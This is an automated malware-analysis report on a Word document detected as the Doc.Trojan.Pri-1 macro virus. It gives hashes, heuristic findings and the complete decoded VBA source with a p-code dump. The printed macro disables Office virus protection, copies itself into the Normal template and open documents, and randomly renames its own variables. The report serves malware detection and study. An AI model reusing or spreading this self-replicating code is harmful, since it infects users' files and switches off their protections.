Office (OLE) malware analysis — malicious · b35109fc2452e2d9

MALICIOUS

Office (OLE)

51.0 KB Created: 2000-11-06 09:49:00 Authoring application: Microsoft Word 8.0 First seen: 2015-10-13

MD5: e6ba37f7af936b68a0fb12a33dfc46ed SHA-1: cd38f22442bd1365a0861539b26cf650ef60346e SHA-256: b35109fc2452e2d97078170d70698a10721a70c2553874717d6173ee1c5eb12e

208 Risk Score

Heuristics 4

ClamAV: Doc.Trojan.Pri-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Pri-1
VBA macros detected medium 2 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION

VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
Matched line in script
```
If QI4555 = True Then VB8482.CodeModule.AddFromString ("Private Sub Document_Close()" & vbCr & ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(2, UA8098 - 1) & vbCr & "Sub ViewVBCode" & vbCr & "End Sub")
```

Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro

Matched line in script

If MJ3055 = True Then VB8482.CodeModule.AddFromString ("Private Sub Document_Open" & vbCr & NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, IH1399 - 3))

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	11714 bytes
SHA-256: `0acb07c3928b8b3a205758bcfe9434d23a658c6678b6e5bc5d93bf4ff2b59c01`
Detection ClamAV: Doc.Trojan.Pri-1 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Document_Close() On Error Resume Next Options.ConfirmConversions = 0: Options.VirusProtection = 0: Options.SaveNormalPrompt = 0 If Day(Now) = Minute(Now) = 13 Then Randomize: For x = 1 To 10 ActiveDocument.Shapes.AddShape(msoShapePentagon, Int(Rnd * 500), Int(Rnd * 500), Int(Rnd * 500), Int(Rnd * 500)).Select Selection.ShapeRange.Fill.ForeColor.RGB = RGB(Int(Rnd * 255), Int(Rnd * 255), Int(Rnd * 255)) Selection.ShapeRange.Fill.Visible = msoTrue Selection.ShapeRange.Fill.Solid: Next x: End If UA8098 = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines IH1399 = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines If Left(ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Pri" Then Set VB8482 = ActiveDocument.VBProject.VBComponents.Item(1) MJ3055 = True End If If Left(NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Pri" Then Set VB8482 = NormalTemplate.VBProject.VBComponents.Item(1) QI4555 = True Call QN5655_UD8116 ActiveDocument.Saved = True End If If QI4555 <> True And MJ3055 <> True Then GoTo CP286 If QI4555 = True Then VB8482.CodeModule.AddFromString ("Private Sub Document_Close()" & vbCr & ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(2, UA8098 - 1) & vbCr & "Sub ViewVBCode" & vbCr & "End Sub") If MJ3055 = True Then VB8482.CodeModule.AddFromString ("Private Sub Document_Open" & vbCr & NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, IH1399 - 3)) CP286: If IH1399 <> 0 And UA8098 = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName End Sub Private Function QN5655_UD8116() On Error Resume Next Randomize Dim r1(1 To 14) As String r1(1) = "VV4310": r1(2) = "PD3633": r1(3) = "DJ5287": r1(4) = "SU9147": r1(5) = "UD8116": r1(6) = "UA8098" r1(7) = "IH1399": r1(8) = "MJ3055":: r1(9) = "VB8482": r1(10) = "QI4555": r1(11) = "CP286": r1(12) = "QN5655": r1(13) = "MJ3559": r1(14) = "LS7085" For x = 1 To 14 a1 = (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & Int(Rnd * 100) & Int(Rnd * 100) Call UD8116(a1, r1(x)) Next x End Function Private Function UD8116(LS7085, MJ3559 As String) On Error Resume Next Dim VV4310 As Long: Dim PD3633 As Long: Dim DJ5287 As Long: Dim SU9147 As Long With ActiveDocument.VBProject.VBComponents.Item(1).CodeModule VV4310 = 1: PD3633 = 1: DJ5287 = .CountOfLines: SU9147 = Len(.Lines(.CountOfLines, 1)) Do While .Find(MJ3559, VV4310, PD3633, DJ5287, SU9147, True) strline = .Lines(VV4310, 1) strline = Left(strline, PD3633 - 1) & LS7085 & Mid(strline, SU9147) .replaceline VV4310, strline VV4310 = DJ5287 + 1: PD3633 = 1: DJ5287 = .CountOfLines SU9147 = Len(.Lines(.CountOfLines, 1)) Loop End With End Function Sub ViewVBCode() End Sub ' Processing file: /opt/analyzer/scan_staging/38e5796efe67434ea135cb2285c4c27a.bin ' =============================================================================== ' Module streams: ' Macros/VBA/ThisDocument - 12561 bytes ' Line #0: ' FuncDefn (Private Sub Document_Close()) ' Line #1: ' OnError (Resume Next) ' Line #2: ' LitDI2 0x0000 ' Ld Options ' MemSt ConfirmConversions ' BoS 0x0000 ' LitDI2 0x0000 ' Ld Options ' MemSt VirusProtection ' BoS 0x0000 ' LitDI2 0x0000 ' Ld Options ' MemSt SaveNormalPrompt ' Line #3: ' Ld Now ' ArgsLd Day 0x0001 ' Ld Now ' ArgsLd Minute 0x0001 ' Eq ' LitDI2 0x000D ' Eq ' IfBlock ' Line #4: ' ArgsCall Read 0x0000 ' BoS 0x0000 ' StartForVariable ' Ld x ' EndForVariable ' LitDI2 0x0001 ' LitDI2 0x000A ' For ' Line #5: ' Ld msoShapePentagon ' Ld Rnd ' LitDI2 0x01F4 ' Mul ' FnInt ' Ld Rnd ' LitDI2 0x01F4 ' Mul ' FnInt ' Ld Rnd ' LitDI2 0x01F4 ' Mul ' FnInt ' Ld Rnd ' LitDI2 0x01F4 ' Mul ' FnInt ' Ld ActiveDocument ' MemLd Shapes ' ArgsMemLd AddShape 0x0005 ' ArgsMemCall Set 0x0000 ' Line #6: ' Ld Rnd ' LitDI2 0x00FF ' Mul ' FnInt ' Ld Rnd ' LitDI2 0x00FF ' Mul ' FnInt ' Ld Rnd ' LitDI2 0x00FF ' Mul ' FnInt ' ArgsLd RSet 0x0003 ' Ld Selection ' MemLd ShapeRange ' MemLd Fill ' MemLd ForeColor ' MemSt RSet ' Line #7: ' Ld msoTrue ' Ld Selection ' MemLd ShapeRange ' MemLd Fill ' MemSt Visible ' Line #8: ' Ld Selection ' MemLd ShapeRange ' MemLd Fill ' ArgsMemCall Solid 0x0000 ' BoS 0x0000 ' StartForVariable ' Ld x ' EndForVariable ' NextVar ' BoS 0x0000 ' EndIfBlock ' Line #9: ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' MemLd CodeModule ' MemLd CountOfLines ' St UA8098 ' Line #10: ' LitDI2 0x0001 ' Ld NormalTemplate ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' MemLd CodeModule ' MemLd CountOfLines ' St IH1399 ' Line #11: ' LitDI2 0x0001 ' LitDI2 0x0003 ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' MemLd CodeModule ' ArgsMemLd Lines 0x0002 ' LitDI2 0x0003 ' ArgsLd LBound 0x0002 ' LitStr 0x0003 "Pri" ' Ne ' IfBlock ' Line #12: ' SetStmt ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' Set VB8482 ' Line #13: ' LitVarSpecial (True) ' St MJ3055 ' Line #14: ' EndIfBlock ' Line #15: ' LitDI2 0x0001 ' LitDI2 0x0003 ' LitDI2 0x0001 ' Ld NormalTemplate ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' MemLd CodeModule ' ArgsMemLd Lines 0x0002 ' LitDI2 0x0003 ' ArgsLd LBound 0x0002 ' LitStr 0x0003 "Pri" ' Ne ' IfBlock ' Line #16: ' SetStmt ' LitDI2 0x0001 ' Ld NormalTemplate ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' Set VB8482 ' Line #17: ' LitVarSpecial (True) ' St QI4555 ' Line #18: ' ArgsCall (Call) QN5655_UD8116 0x0000 ' Line #19: ' LitVarSpecial (True) ' Ld ActiveDocument ' MemSt Saved ' Line #20: ' EndIfBlock ' Line #21: ' Ld QI4555 ' LitVarSpecial (True) ' Ne ' Ld MJ3055 ' LitVarSpecial (True) ' Ne ' And ' If ' BoSImplicit ' GoTo CP286 ' EndIf ' Line #22: ' Ld QI4555 ' LitVarSpecial (True) ' Eq ' If ' BoSImplicit ' LitStr 0x001C "Private Sub Document_Close()" ' Ld vbCr ' Concat ' LitDI2 0x0002 ' Ld UA8098 ' LitDI2 0x0001 ' Sub ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' MemLd CodeModule ' ArgsMemLd Lines 0x0002 ' Concat ' Ld vbCr ' Concat ' LitStr 0x000E "Sub ViewVBCode" ' Concat ' Ld vbCr ' Concat ' LitStr 0x0007 "End Sub" ' Concat ' Paren ' Ld VB8482 ' MemLd CodeModule ' ArgsMemCall AddFromString 0x0001 ' EndIf ' Line #23: ' Ld MJ3055 ' LitVarSpecial (True) ' Eq ' If ' BoSImplicit ' LitStr 0x0019 "Private Sub Document_Open" ' Ld vbCr ' Concat ' LitDI2 0x0002 ' Ld IH1399 ' LitDI2 0x0003 ' Sub ' LitDI2 0x0001 ' Ld NormalTemplate ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' MemLd CodeModule ' ArgsMemLd Lines 0x0002 ' Concat ' Paren ' Ld VB8482 ' MemLd CodeModule ' ArgsMemCall AddFromString 0x0001 ' EndIf ' Line #24: ' Label CP286 ' Line #25: ' Ld IH1399 ' LitDI2 0x0000 ' Ne ' Ld UA8098 ' LitDI2 0x0000 ' Eq ' And ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd New ' LitStr 0x0008 "Document" ' FnInStr3 ' LitVarSpecial (False) ' Eq ' Paren ' And ' If ' BoSImplicit ' Ld ActiveDocument ' MemLd FullName ' ParamNamed FileName ' Ld ActiveDocument ' ArgsMemCall SaveAs 0x0001 ' EndIf ' Line #26: ' EndSub ' Line #27: ' FuncDefn (Private Function QN5655_UD8116(id_FFFE As Variant)) ' Line #28: ' OnError (Resume Next) ' Line #29: ' ArgsCall Read 0x0000 ' Line #30: ' Dim ' LitDI2 0x0001 ' LitDI2 0x000E ' VarDefn r1 (As String) ' Line #31: ' LitStr 0x0006 "VV4310" ' LitDI2 0x0001 ' ArgsSt r1 0x0001 ' BoS 0x0000 ' LitStr 0x0006 "PD3633" ' LitDI2 0x0002 ' ArgsSt r1 0x0001 ' BoS 0x0000 ' LitStr 0x0006 "DJ5287" ' LitDI2 0x0003 ' ArgsSt r1 0x0001 ' BoS 0x0000 ' LitStr 0x0006 "SU9147" ' LitDI2 0x0004 ' ArgsSt r1 0x0001 ' BoS 0x0000 ' LitStr 0x0006 "UD8116" ' LitDI2 0x0005 ' ArgsSt r1 0x0001 ' BoS 0x0000 ' LitStr 0x0006 "UA8098" ' LitDI2 0x0006 ' ArgsSt r1 0x0001 ' Line #32: ' LitStr 0x0006 "IH1399" ' LitDI2 0x0007 ' ArgsSt r1 0x0001 ' BoS 0x0000 ' LitStr 0x0006 "MJ3055" ' LitDI2 0x0008 ' ArgsSt r1 0x0001 ' BoS 0x0000 ' BoS 0x0000 ' LitStr 0x0006 "VB8482" ' LitDI2 0x0009 ' ArgsSt r1 0x0001 ' BoS 0x0000 ' LitStr 0x0006 "QI4555" ' LitDI2 0x000A ' ArgsSt r1 0x0001 ' BoS 0x0000 ' LitStr 0x0005 "CP286" ' LitDI2 0x000B ' ArgsSt r1 0x0001 ' BoS 0x0000 ' LitStr 0x0006 "QN5655" ' LitDI2 0x000C ' ArgsSt r1 0x0001 ' BoS 0x0000 ' LitStr 0x0006 "MJ3559" ' LitDI2 0x000D ' ArgsSt r1 0x0001 ' BoS 0x0000 ' LitStr 0x0006 "LS7085" ' LitDI2 0x000E ' ArgsSt r1 0x0001 ' Line #33: ' StartForVariable ' Ld x ' EndForVariable ' LitDI2 0x0001 ' LitDI2 0x000E ' For ' Line #34: ' LitDI2 0x0041 ' Ld Rnd ' LitDI2 0x0016 ' Mul ' FnInt ' Add ' ArgsLd Chr 0x0001 ' Paren ' LitDI2 0x0041 ' Ld Rnd ' LitDI2 0x0016 ' Mul ' FnInt ' Add ' ArgsLd Chr 0x0001 ' Paren ' Concat ' Ld Rnd ' LitDI2 0x0064 ' Mul ' FnInt ' Concat ' Ld Rnd ' LitDI2 0x0064 ' Mul ' FnInt ' Concat ' St a1 ' Line #35: ' Ld a1 ' Ld x ' ArgsLd r1 0x0001 ' ArgsCall (Call) UD8116 0x0002 ' Line #36: ' StartForVariable ' Ld x ' EndForVariable ' NextVar ' Line #37: ' EndFunc ' Line #38: ' FuncDefn (Private Function UD8116(LS7085, MJ3559 As String, id_FFFE As Variant)) ' Line #39: ' OnError (Resume Next) ' Line #40: ' Dim ' VarDefn VV4310 (As Long) ' BoS 0x0000 ' Dim ' VarDefn PD3633 (As Long) ' BoS 0x0000 ' Dim ' VarDefn DJ5287 (As Long) ' BoS 0x0000 ' Dim ' VarDefn SU9147 (As Long) ' Line #41: ' StartWithExpr ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' MemLd CodeModule ' With ' Line #42: ' LitDI2 0x0001 ' St VV4310 ' BoS 0x0000 ' LitDI2 0x0001 ' St PD3633 ' BoS 0x0000 ' MemLdWith CountOfLines ' St DJ5287 ' BoS 0x0000 ' MemLdWith CountOfLines ' LitDI2 0x0001 ' ArgsMemLdWith Lines 0x0002 ' FnLen ' St SU9147 ' Line #43: ' Ld MJ3559 ' Ld VV4310 ' Ld PD3633 ' Ld DJ5287 ' Ld SU9147 ' LitVarSpecial (True) ' ArgsMemLdWith Find 0x0006 ' DoWhile ' Line #44: ' Ld VV4310 ' LitDI2 0x0001 ' ArgsMemLdWith Lines 0x0002 ' St strline ' Line #45: ' Ld strline ' Ld PD3633 ' LitDI2 0x0001 ' Sub ' ArgsLd LBound 0x0002 ' Ld LS7085 ' Concat ' Ld strline ' Ld SU9147 ' ArgsLd Mid$ 0x0002 ' Concat ' St strline ' Line #46: ' Ld VV4310 ' Ld strline ' ArgsMemCallWith replaceline 0x0002 ' Line #47: ' Ld DJ5287 ' LitDI2 0x0001 ' Add ' St VV4310 ' BoS 0x0000 ' LitDI2 0x0001 ' St PD3633 ' BoS 0x0000 ' Line #48: ' MemLdWith CountOfLines ' St DJ5287 ' Line #49: ' MemLdWith CountOfLines ' LitDI2 0x0001 ' ArgsMemLdWith Lines 0x0002 ' FnLen ' St SU9147 ' Line #50: ' Loop ' Line #51: ' EndWith ' Line #52: ' EndFunc ' Line #53: ' Line #54: ' FuncDefn (Sub ViewVBCode()) ' Line #55: ' EndSub

Open this report in the interactive analyzer, or submit your own file for analysis.